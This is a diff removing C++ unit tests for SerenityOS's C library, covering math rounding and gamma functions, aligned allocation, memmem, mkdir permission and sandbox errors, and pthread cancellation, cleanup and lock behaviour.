EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x0, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78404000000), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x1, 0x419, 0x7d78403ffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x0, 0x1)), Extractor(0x1, 0x419, 0x7d783ffffffff));
|
||||
}
|
||||
|
||||
TEST_CASE(scalbn)
|
||||
{
|
||||
EXPECT(isnan(scalbn(NAN, 3)));
|
||||
EXPECT(!isfinite(scalbn(INFINITY, 5)));
|
||||
EXPECT_EQ(scalbn(0, 3), 0);
|
||||
EXPECT_EQ(scalbn(15.3, 0), 15.3);
|
||||
|
||||
// TODO: implement denormal handling in fallback scalbn
|
||||
// EXPECT_EQ(scalbn(0x0.0000000000008p-1022, 16), 0x0.0000000000008p-1006);
|
||||
static constexpr auto biggest_subnormal = DBL_MIN - DBL_TRUE_MIN;
|
||||
auto smallest_normal = scalbn(biggest_subnormal, 1);
|
||||
Extractor ex(smallest_normal);
|
||||
EXPECT(ex.exponent != 0);
|
||||
|
||||
EXPECT_EQ(scalbn(2.0, 4), 32.0);
|
||||
}
|
||||
|
||||
TEST_CASE(gamma)
|
||||
{
|
||||
EXPECT(isinf(tgamma(+0.0)) && !signbit(tgamma(+0.0)));
|
||||
EXPECT(isinf(tgamma(-0.0)) && signbit(tgamma(-0.0)));
|
||||
EXPECT(isinf(tgamma(INFINITY)) && !signbit(tgamma(INFINITY)));
|
||||
EXPECT(isnan(tgamma(NAN)));
|
||||
EXPECT(isnan(tgamma(-INFINITY)));
|
||||
EXPECT(isnan(tgamma(-5)));
|
||||
|
||||
// TODO: investigate Stirling approximation implementation of gamma function
|
||||
// EXPECT_APPROXIMATE(tgamma(0.5), sqrt(M_PI));
|
||||
EXPECT_EQ(tgammal(21.0l), 2'432'902'008'176'640'000.0l);
|
||||
EXPECT_EQ(tgamma(19.0), 6'402'373'705'728'000.0);
|
||||
EXPECT_EQ(tgammaf(11.0f), 3628800.0f);
|
||||
EXPECT_EQ(tgamma(4.0), 6);
|
||||
|
||||
EXPECT_EQ(lgamma(1.0), 0.0);
|
||||
EXPECT_EQ(lgamma(2.0), 0.0);
|
||||
EXPECT(isinf(lgamma(0.0)));
|
||||
EXPECT(!signbit(lgamma(-0.0)));
|
||||
EXPECT(isnan(lgamma(NAN)));
|
||||
EXPECT(isinf(lgamma(INFINITY)));
|
||||
EXPECT(isinf(lgamma(-INFINITY)));
|
||||
EXPECT_EQ(signgam, 1);
|
||||
lgamma(-2.5);
|
||||
EXPECT_EQ(signgam, -1);
|
||||
}
|
||||
|
||||
TEST_CASE(fmax_and_fmin)
|
||||
{
|
||||
EXPECT(fmax(-INFINITY, 0) == 0);
|
||||
EXPECT(fmax(NAN, 12) == 12);
|
||||
EXPECT(fmax(5, NAN) == 5);
|
||||
EXPECT(isnan(fmax(NAN, NAN)));
|
||||
EXPECT(isinf(fmax(1'000'000, INFINITY)));
|
||||
|
||||
EXPECT(isinf(fmin(-INFINITY, 0)));
|
||||
EXPECT(fmin(0, INFINITY) == 0);
|
||||
EXPECT(fmin(NAN, 5) == 5);
|
||||
EXPECT(fmin(0, NAN) == 0);
|
||||
EXPECT(isnan(fmin(NAN, NAN)));
|
||||
}
|
||||
|
||||
TEST_CASE(acos)
|
||||
{
|
||||
EXPECT_APPROXIMATE(acos(-1), M_PI);
|
||||
EXPECT_APPROXIMATE(acos(0), 0.5 * M_PI);
|
||||
EXPECT_APPROXIMATE(acos(1), 0);
|
||||
EXPECT(isnan(acos(1.1)));
|
||||
}
|
||||
|
||||
TEST_CASE(floor)
|
||||
{
|
||||
// NOTE: We run tests for all three float types since architecture-specific code may vary significantly between types.
|
||||
#define TEST_FLOOR_FOR(suffix) \
|
||||
EXPECT_EQ(floor##suffix(0.125f), 0.f); \
|
||||
EXPECT_EQ(floor##suffix(-0.125f), -1.0f); \
|
||||
EXPECT_EQ(floor##suffix(0.5f), 0.f); \
|
||||
EXPECT_EQ(floor##suffix(-0.5f), -1.0f); \
|
||||
EXPECT_EQ(floor##suffix(0.25f), 0.f); \
|
||||
EXPECT_EQ(floor##suffix(-0.25f), -1.0f); \
|
||||
EXPECT_EQ(floor##suffix(-3.0f / 2.0f), -2.0f);
|
||||
|
||||
TEST_FLOOR_FOR();
|
||||
TEST_FLOOR_FOR(f);
|
||||
TEST_FLOOR_FOR(l);
|
||||
|
||||
EXPECT_EQ(floor(-9999999999999.5), -10000000000000.0);
|
||||
EXPECT_EQ(floor(9999999999999.5), 9999999999999.0);
|
||||
}
|
||||
|
||||
TEST_CASE(ceil)
|
||||
{
|
||||
#define TEST_CEIL_FOR(suffix) \
|
||||
EXPECT_EQ(ceil##suffix(0.125##suffix), 1.0##suffix); \
|
||||
EXPECT_EQ(ceil##suffix(-0.125##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(ceil##suffix(0.5##suffix), 1.0##suffix); \
|
||||
EXPECT_EQ(ceil##suffix(-0.5##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(ceil##suffix(0.25##suffix), 1.0##suffix); \
|
||||
EXPECT_EQ(ceil##suffix(-0.25##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(ceil##suffix(-3.0##suffix / 2.0##suffix), -1.0##suffix);
|
||||
|
||||
TEST_CEIL_FOR();
|
||||
TEST_CEIL_FOR(f);
|
||||
TEST_CEIL_FOR(l);
|
||||
|
||||
EXPECT_EQ(ceil(9999999999999.5), 10000000000000.0);
|
||||
EXPECT_EQ(ceil(-9999999999999.5), -9999999999999.0);
|
||||
}
|
||||
|
||||
TEST_CASE(trunc)
|
||||
{
|
||||
#define TEST_TRUNC_FOR(suffix) \
|
||||
EXPECT_EQ(trunc##suffix(0.125##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(trunc##suffix(-0.125##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(trunc##suffix(0.5##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(trunc##suffix(-0.5##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(trunc##suffix(0.25##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(trunc##suffix(-0.25##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(trunc##suffix(-3.0##suffix / 2.0##suffix), -1.0##suffix);
|
||||
|
||||
TEST_TRUNC_FOR();
|
||||
TEST_TRUNC_FOR(f);
|
||||
TEST_TRUNC_FOR(l);
|
||||
|
||||
EXPECT_EQ(trunc(9999999999999.5), 9999999999999.0);
|
||||
EXPECT_EQ(trunc(-9999999999999.5), -9999999999999.0);
|
||||
}
|
||||
|
||||
TEST_CASE(round)
|
||||
{
|
||||
#define TEST_ROUND_FOR(suffix) \
|
||||
EXPECT_EQ(round##suffix(0.125##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(round##suffix(-0.125##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(round##suffix(0.5##suffix), 1.0##suffix); \
|
||||
EXPECT_EQ(round##suffix(-0.5##suffix), -1.0##suffix); \
|
||||
EXPECT_EQ(round##suffix(0.25##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(round##suffix(-0.25##suffix), 0.##suffix); \
|
||||
EXPECT_EQ(round##suffix(-3.0##suffix / 2.0##suffix), -2.0##suffix);
|
||||
|
||||
TEST_ROUND_FOR();
|
||||
TEST_ROUND_FOR(f);
|
||||
TEST_ROUND_FOR(l);
|
||||
|
||||
EXPECT_EQ(round(9999999999999.5), 10000000000000.0);
|
||||
EXPECT_EQ(round(-9999999999999.5), -10000000000000.0);
|
||||
}
|
|
@ -1,103 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Peter Elliott <pelliott@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <mallocdefs.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static constexpr size_t runs = 500;
|
||||
static constexpr size_t ptrs_per_run = 20;
|
||||
|
||||
static size_t random_alignment()
|
||||
{
|
||||
return 1 << (rand() % 16);
|
||||
}
|
||||
|
||||
static size_t random_size()
|
||||
{
|
||||
int r = rand() % num_size_classes;
|
||||
if (r == num_size_classes - 1) {
|
||||
return rand() % (1 << 17);
|
||||
}
|
||||
|
||||
return size_classes[r] + (rand() % (size_classes[r + 1] - size_classes[r]));
|
||||
}
|
||||
|
||||
static bool is_aligned(void* ptr, size_t align)
|
||||
{
|
||||
return (reinterpret_cast<uintptr_t>(ptr) & (align - 1)) == 0;
|
||||
}
|
||||
|
||||
TEST_CASE(posix_memalign_fuzz)
|
||||
{
|
||||
EXPECT_NO_CRASH("posix_memalign should not crash under regular use", [] {
|
||||
for (size_t i = 0; i < runs; ++i) {
|
||||
size_t align = random_alignment();
|
||||
size_t size = random_size();
|
||||
|
||||
for (size_t j = 0; j < 2; ++j) {
|
||||
void* ptrs[ptrs_per_run];
|
||||
|
||||
for (size_t k = 0; k < ptrs_per_run; ++k) {
|
||||
EXPECT_EQ(posix_memalign(&(ptrs[k]), align, size), 0);
|
||||
EXPECT(is_aligned(ptrs[k], align));
|
||||
}
|
||||
for (size_t k = 0; k < ptrs_per_run; ++k) {
|
||||
free(ptrs[k]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
||||
|
||||
TEST_CASE(posix_memalign_not_power2)
|
||||
{
|
||||
char secret_ptr[0];
|
||||
void* memptr = secret_ptr;
|
||||
EXPECT_EQ(posix_memalign(&memptr, 7, 256), EINVAL);
|
||||
EXPECT_EQ(memptr, secret_ptr);
|
||||
}
|
||||
|
||||
TEST_CASE(aligned_alloc_fuzz)
|
||||
{
|
||||
EXPECT_NO_CRASH("aligned_alloc should not crash under regular use", [] {
|
||||
for (size_t i = 0; i < runs; ++i) {
|
||||
size_t align = random_alignment();
|
||||
size_t size = random_size();
|
||||
|
||||
for (size_t j = 0; j < 2; ++j) {
|
||||
void* ptrs[ptrs_per_run];
|
||||
|
||||
for (size_t k = 0; k < ptrs_per_run; ++k) {
|
||||
ptrs[k] = aligned_alloc(align, size);
|
||||
EXPECT(ptrs[k]);
|
||||
EXPECT(is_aligned(ptrs[k], align));
|
||||
}
|
||||
for (size_t k = 0; k < ptrs_per_run; ++k) {
|
||||
free(ptrs[k]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
||||
|
||||
TEST_CASE(aligned_alloc_not_power2)
|
||||
{
|
||||
#if defined(AK_COMPILER_CLANG)
|
||||
# pragma clang diagnostic push
|
||||
# pragma clang diagnostic ignored "-Wnon-power-of-two-alignment"
|
||||
#endif
|
||||
EXPECT_EQ(aligned_alloc(7, 256), nullptr);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
#if defined(AK_COMPILER_CLANG)
|
||||
# pragma clang diagnostic pop
|
||||
#endif
|
||||
}
|
|
@ -1,44 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ali Mohammad Pur <mpfard@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <string.h>
|
||||
|
||||
struct TestCase {
|
||||
u8 const* haystack;
|
||||
size_t haystack_length;
|
||||
u8 const* needle;
|
||||
size_t needle_length;
|
||||
ssize_t matching_offset { -1 };
|
||||
};
|
||||
|
||||
static TestCase const g_test_cases[] = {
|
||||
{ (u8 const*) {}, 0u, (u8 const*) {}, 0u, 0 },
|
||||
{ (u8 const[]) { 1, 2, 3 }, 3u, (u8 const[]) { 1, 2, 3 }, 3u, 0 },
|
||||
{ (u8 const[]) { 1, 2, 4 }, 3u, (u8 const[]) { 1, 2, 3 }, 3u, -1 },
|
||||
{ (u8 const*)"abcdef", 6u, (u8 const[]) {}, 0u, 0 },
|
||||
{ (u8 const*)"abcdef", 6u, (u8 const*)"de", 2u, 3 },
|
||||
{ (u8 const[]) { 0, 1, 2, 5, 2, 5 }, 6u, (u8 const[]) { 1 }, 1u, 1 },
|
||||
{ (u8 const[]) { 0, 1, 2, 5, 2, 5 }, 6u, (u8 const[]) { 1, 2 }, 2u, 1 },
|
||||
{ (u8 const[]) { 0, 1, 1, 2 }, 4u, (u8 const[]) { 1, 5 }, 2u, -1 },
|
||||
{ (u8 const[64]) { 0 }, 64u, (u8 const[33]) { 0 }, 33u, 0 },
|
||||
{ (u8 const[64]) { 0, 1, 1, 2 }, 64u, (u8 const[33]) { 1, 1 }, 2u, 1 },
|
||||
};
|
||||
|
||||
TEST_CASE(memmem_search)
|
||||
{
|
||||
size_t i = 0;
|
||||
for (auto const& test_case : g_test_cases) {
|
||||
auto expected = test_case.matching_offset >= 0 ? test_case.haystack + test_case.matching_offset : nullptr;
|
||||
auto result = memmem(test_case.haystack, test_case.haystack_length, test_case.needle, test_case.needle_length);
|
||||
if (result != expected) {
|
||||
FAIL(ByteString::formatted("Test {} FAILED! expected {:p}, got {:p}", i, expected, result));
|
||||
}
|
||||
++i;
|
||||
}
|
||||
}
|
|
@ -1,105 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Max Wipfli <max.wipfli@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/stat.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static ByteString random_dirname()
|
||||
{
|
||||
return ByteString::formatted("/tmp/test_mkdir_{:04x}", (u16)rand());
|
||||
}
|
||||
|
||||
TEST_SETUP
|
||||
{
|
||||
srand(time(NULL));
|
||||
}
|
||||
|
||||
TEST_CASE(basic)
|
||||
{
|
||||
auto dirname = random_dirname();
|
||||
int res = mkdir(dirname.characters(), 0755);
|
||||
EXPECT(res == 0);
|
||||
|
||||
res = mkdir(dirname.characters(), 0755);
|
||||
int cached_errno = errno;
|
||||
EXPECT(res < 0);
|
||||
EXPECT_EQ(cached_errno, EEXIST);
|
||||
}
|
||||
|
||||
TEST_CASE(insufficient_permissions)
|
||||
{
|
||||
VERIFY(getuid() != 0);
|
||||
int res = mkdir("/root/foo", 0755);
|
||||
int cached_errno = errno;
|
||||
EXPECT(res < 0);
|
||||
EXPECT_EQ(cached_errno, EACCES);
|
||||
}
|
||||
|
||||
TEST_CASE(nonexistent_parent)
|
||||
{
|
||||
auto parent = random_dirname();
|
||||
auto child = ByteString::formatted("{}/foo", parent);
|
||||
int res = mkdir(child.characters(), 0755);
|
||||
int cached_errno = errno;
|
||||
EXPECT(res < 0);
|
||||
EXPECT_EQ(cached_errno, ENOENT);
|
||||
}
|
||||
|
||||
TEST_CASE(parent_is_file)
|
||||
{
|
||||
int res = mkdir("/etc/passwd/foo", 0755);
|
||||
int cached_errno = errno;
|
||||
EXPECT(res < 0);
|
||||
EXPECT_EQ(cached_errno, ENOTDIR);
|
||||
}
|
||||
|
||||
TEST_CASE(pledge)
|
||||
{
|
||||
int res = pledge("stdio cpath", nullptr);
|
||||
EXPECT(res == 0);
|
||||
|
||||
auto dirname = random_dirname();
|
||||
res = mkdir(dirname.characters(), 0755);
|
||||
EXPECT(res == 0);
|
||||
// FIXME: Somehow also check that mkdir() stops working when removing the cpath promise. This is currently
|
||||
// not possible because this would prevent the unveil test case from properly working.
|
||||
}
|
||||
|
||||
TEST_CASE(unveil)
|
||||
{
|
||||
int res = unveil("/tmp", "rwc");
|
||||
EXPECT(res == 0);
|
||||
|
||||
auto dirname = random_dirname();
|
||||
res = mkdir(dirname.characters(), 0755);
|
||||
EXPECT(res == 0);
|
||||
|
||||
res = unveil("/tmp", "rw");
|
||||
EXPECT(res == 0);
|
||||
|
||||
dirname = random_dirname();
|
||||
res = mkdir(dirname.characters(), 0755);
|
||||
int cached_errno = errno;
|
||||
EXPECT(res < 0);
|
||||
EXPECT_EQ(cached_errno, EACCES);
|
||||
|
||||
res = unveil("/tmp", "");
|
||||
EXPECT(res == 0);
|
||||
|
||||
dirname = random_dirname();
|
||||
res = mkdir(dirname.characters(), 0755);
|
||||
cached_errno = errno;
|
||||
EXPECT(res < 0);
|
||||
EXPECT_EQ(cached_errno, ENOENT);
|
||||
|
||||
res = unveil(nullptr, nullptr);
|
||||
EXPECT(res == 0);
|
||||
}
|
|
@ -1,68 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, kleines Filmröllchen <filmroellchen@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define TEST_CASE_IN_PTHREAD(x) \
|
||||
static void* __TESTCASE_FUNC(x##__inner)(void*); \
|
||||
TEST_CASE(x) \
|
||||
{ \
|
||||
pthread_t thread; \
|
||||
pthread_create(&thread, nullptr, __TESTCASE_FUNC(x##__inner), nullptr); \
|
||||
pthread_join(thread, nullptr); \
|
||||
} \
|
||||
static void* __TESTCASE_FUNC(x##__inner)(void*)
|
||||
|
||||
TEST_CASE_IN_PTHREAD(basic_priority)
|
||||
{
|
||||
auto min_priority = sched_get_priority_min(0);
|
||||
auto max_priority = sched_get_priority_max(0);
|
||||
sched_param const min_priority_parameter { .sched_priority = min_priority };
|
||||
sched_param const max_priority_parameter { .sched_priority = max_priority };
|
||||
|
||||
auto rc = pthread_setschedparam(0, 0, &min_priority_parameter);
|
||||
EXPECT_EQ(rc, 0);
|
||||
sched_param output_parameter;
|
||||
rc = pthread_getschedparam(0, 0, &output_parameter);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(output_parameter.sched_priority, min_priority);
|
||||
|
||||
rc = pthread_setschedparam(0, 0, &max_priority_parameter);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = pthread_getschedparam(0, 0, &output_parameter);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(output_parameter.sched_priority, max_priority);
|
||||
|
||||
rc = pthread_setschedparam(0, 0, &max_priority_parameter);
|
||||
EXPECT_EQ(rc, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
TEST_CASE_IN_PTHREAD(invalid_arguments)
|
||||
{
|
||||
auto min_priority = sched_get_priority_min(0);
|
||||
auto max_priority = sched_get_priority_max(0);
|
||||
sched_param const under_priority_parameter { .sched_priority = min_priority - 1 };
|
||||
sched_param const over_priority_parameter { .sched_priority = max_priority + 1 };
|
||||
sched_param const min_priority_parameter { .sched_priority = min_priority };
|
||||
|
||||
// Set too high or too low priorities.
|
||||
auto rc = pthread_setschedparam(0, 0, &over_priority_parameter);
|
||||
EXPECT_EQ(rc, EINVAL);
|
||||
rc = pthread_setschedparam(0, 0, &under_priority_parameter);
|
||||
EXPECT_EQ(rc, EINVAL);
|
||||
|
||||
// Get and set a thread that doesn't exist.
|
||||
rc = pthread_setschedparam(-42069, 0, &min_priority_parameter);
|
||||
EXPECT_EQ(rc, ESRCH);
|
||||
sched_param output_parameter;
|
||||
rc = pthread_getschedparam(-42069, 0, &output_parameter);
|
||||
EXPECT_EQ(rc, ESRCH);
|
||||
return 0;
|
||||
}
|
|
@ -1,126 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Tim Schumacher <timschumi@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define TEST_CASE_IN_PTHREAD(x) \
|
||||
static void* __TESTCASE_FUNC(x##__inner)(void*); \
|
||||
TEST_CASE(x) \
|
||||
{ \
|
||||
pthread_t thread; \
|
||||
pthread_create(&thread, nullptr, __TESTCASE_FUNC(x##__inner), nullptr); \
|
||||
pthread_join(thread, nullptr); \
|
||||
} \
|
||||
static void* __TESTCASE_FUNC(x##__inner)(void*)
|
||||
|
||||
TEST_CASE_IN_PTHREAD(cancel_state_valid)
|
||||
{
|
||||
int old_state = 0;
|
||||
|
||||
// Ensure that we return the default state correctly.
|
||||
EXPECT_EQ(pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old_state), 0);
|
||||
EXPECT_EQ(old_state, PTHREAD_CANCEL_ENABLE);
|
||||
|
||||
// Make sure that PTHREAD_CANCEL_DISABLE sticks.
|
||||
EXPECT_EQ(pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, &old_state), 0);
|
||||
EXPECT_EQ(old_state, PTHREAD_CANCEL_DISABLE);
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
TEST_CASE_IN_PTHREAD(cancel_state_invalid)
|
||||
{
|
||||
constexpr int lower_invalid_state = min(PTHREAD_CANCEL_ENABLE, PTHREAD_CANCEL_DISABLE) - 1;
|
||||
constexpr int upper_invalid_state = max(PTHREAD_CANCEL_ENABLE, PTHREAD_CANCEL_DISABLE) + 1;
|
||||
|
||||
int old_state = 0;
|
||||
|
||||
// Check that both invalid states are rejected and don't change the old state.
|
||||
EXPECT_EQ(pthread_setcancelstate(lower_invalid_state, &old_state), EINVAL);
|
||||
EXPECT_EQ(old_state, 0);
|
||||
EXPECT_EQ(pthread_setcancelstate(upper_invalid_state, &old_state), EINVAL);
|
||||
EXPECT_EQ(old_state, 0);
|
||||
|
||||
// Ensure that we are still in the default state afterwards.
|
||||
EXPECT_EQ(pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old_state), 0);
|
||||
EXPECT_EQ(old_state, PTHREAD_CANCEL_ENABLE);
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
TEST_CASE_IN_PTHREAD(cancel_type_valid)
|
||||
{
|
||||
int old_type = 0;
|
||||
|
||||
// Ensure that we return the default type correctly.
|
||||
EXPECT_EQ(pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, &old_type), 0);
|
||||
EXPECT_EQ(old_type, PTHREAD_CANCEL_DEFERRED);
|
||||
|
||||
// Make sure that PTHREAD_CANCEL_ASYNCHRONOUS sticks (not that it should ever be used).
|
||||
EXPECT_EQ(pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, &old_type), 0);
|
||||
EXPECT_EQ(old_type, PTHREAD_CANCEL_ASYNCHRONOUS);
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
TEST_CASE_IN_PTHREAD(cancel_type_invalid)
|
||||
{
|
||||
constexpr int lower_invalid_type = min(PTHREAD_CANCEL_DEFERRED, PTHREAD_CANCEL_ASYNCHRONOUS) - 1;
|
||||
constexpr int upper_invalid_type = max(PTHREAD_CANCEL_DEFERRED, PTHREAD_CANCEL_ASYNCHRONOUS) + 1;
|
||||
|
||||
int old_type = 0;
|
||||
|
||||
// Check that both invalid types are rejected and don't change the old type.
|
||||
EXPECT_EQ(pthread_setcanceltype(lower_invalid_type, &old_type), EINVAL);
|
||||
EXPECT_EQ(old_type, 0);
|
||||
EXPECT_EQ(pthread_setcanceltype(upper_invalid_type, &old_type), EINVAL);
|
||||
EXPECT_EQ(old_type, 0);
|
||||
|
||||
// Ensure that we are still in the default state afterwards.
|
||||
EXPECT_EQ(pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, &old_type), 0);
|
||||
EXPECT_EQ(old_type, PTHREAD_CANCEL_DEFERRED);
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
static void cancel_clenaup_handler(void* data)
|
||||
{
|
||||
(*static_cast<bool*>(data)) = true;
|
||||
}
|
||||
|
||||
static void* cancel_inner(void* data)
|
||||
{
|
||||
pthread_cleanup_push(cancel_clenaup_handler, data);
|
||||
|
||||
pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, nullptr);
|
||||
pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, nullptr);
|
||||
|
||||
// Sleep for a second until the other side sets up their end of the check,
|
||||
// then do a call to write, which should be a cancellation point.
|
||||
sleep(1);
|
||||
write(STDOUT_FILENO, nullptr, 0);
|
||||
|
||||
pthread_exit(nullptr);
|
||||
}
|
||||
|
||||
TEST_CASE(cancel)
|
||||
{
|
||||
pthread_t thread;
|
||||
|
||||
bool called_cleanup_handler = false;
|
||||
pthread_create(&thread, nullptr, cancel_inner, &called_cleanup_handler);
|
||||
|
||||
int rc = pthread_cancel(thread);
|
||||
|
||||
void* exit_code;
|
||||
pthread_join(thread, &exit_code);
|
||||
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(called_cleanup_handler, true);
|
||||
EXPECT_EQ(exit_code, PTHREAD_CANCELED);
|
||||
}
|
|
@ -1,86 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Tim Schumacher <timschumi@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <pthread.h>
|
||||
|
||||
static size_t exit_count = 0;
|
||||
|
||||
static void exit_count_test_handler(void* data)
|
||||
{
|
||||
EXPECT_EQ(exit_count, reinterpret_cast<size_t>(data));
|
||||
exit_count++;
|
||||
}
|
||||
|
||||
static void immediate_fail_handler(void*)
|
||||
{
|
||||
FAIL("Called a cleanup handler");
|
||||
}
|
||||
|
||||
static void* cleanup_pthread_exit_inner(void*)
|
||||
{
|
||||
// Push handlers in reverse order as they are taken from the top of the stack on cleanup.
|
||||
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(2));
|
||||
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(1));
|
||||
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(0));
|
||||
|
||||
pthread_exit(nullptr);
|
||||
}
|
||||
|
||||
TEST_CASE(cleanup_pthread_exit)
|
||||
{
|
||||
pthread_t thread;
|
||||
exit_count = 0;
|
||||
|
||||
pthread_create(&thread, nullptr, cleanup_pthread_exit_inner, nullptr);
|
||||
|
||||
pthread_join(thread, nullptr);
|
||||
|
||||
// Ensure that all exit handlers have been called.
|
||||
EXPECT_EQ(exit_count, 3ul);
|
||||
}
|
||||
|
||||
static void* cleanup_return_inner(void*)
|
||||
{
|
||||
// Returning from the main function should not call any cleanup handlers.
|
||||
pthread_cleanup_push(immediate_fail_handler, nullptr);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
TEST_CASE(cleanup_return)
|
||||
{
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, nullptr, cleanup_return_inner, nullptr);
|
||||
pthread_join(thread, nullptr);
|
||||
}
|
||||
|
||||
static void* cleanup_pop_inner(void*)
|
||||
{
|
||||
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(1));
|
||||
pthread_cleanup_push(immediate_fail_handler, nullptr);
|
||||
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(0));
|
||||
pthread_cleanup_push(immediate_fail_handler, nullptr);
|
||||
|
||||
// Popping a cleanup handler shouldn't run the callback unless `execute` is given.
|
||||
pthread_cleanup_pop(0);
|
||||
pthread_cleanup_pop(1);
|
||||
pthread_cleanup_pop(0);
|
||||
pthread_cleanup_pop(1);
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
TEST_CASE(cleanup_pop)
|
||||
{
|
||||
pthread_t thread;
|
||||
exit_count = 0;
|
||||
|
||||
pthread_create(&thread, nullptr, cleanup_pop_inner, nullptr);
|
||||
pthread_join(thread, nullptr);
|
||||
|
||||
// Ensure that all exit handlers have been called.
|
||||
EXPECT_EQ(exit_count, 2ul);
|
||||
}
|
|
@ -1,90 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Rodrigo Tobar <rtobarc@gmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <pthread.h>
|
||||
|
||||
TEST_CASE(rwlock_init)
|
||||
{
|
||||
pthread_rwlock_t lock;
|
||||
auto result = pthread_rwlock_init(&lock, nullptr);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
TEST_CASE(rwlock_rdlock)
|
||||
{
|
||||
pthread_rwlock_t lock;
|
||||
auto result = pthread_rwlock_init(&lock, nullptr);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_rwlock_rdlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_rwlock_rdlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_rdlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
TEST_CASE(rwlock_wrlock)
|
||||
{
|
||||
pthread_rwlock_t lock;
|
||||
auto result = pthread_rwlock_init(&lock, nullptr);
|
||||
EXPECT_EQ(0, result);
|
||||
|
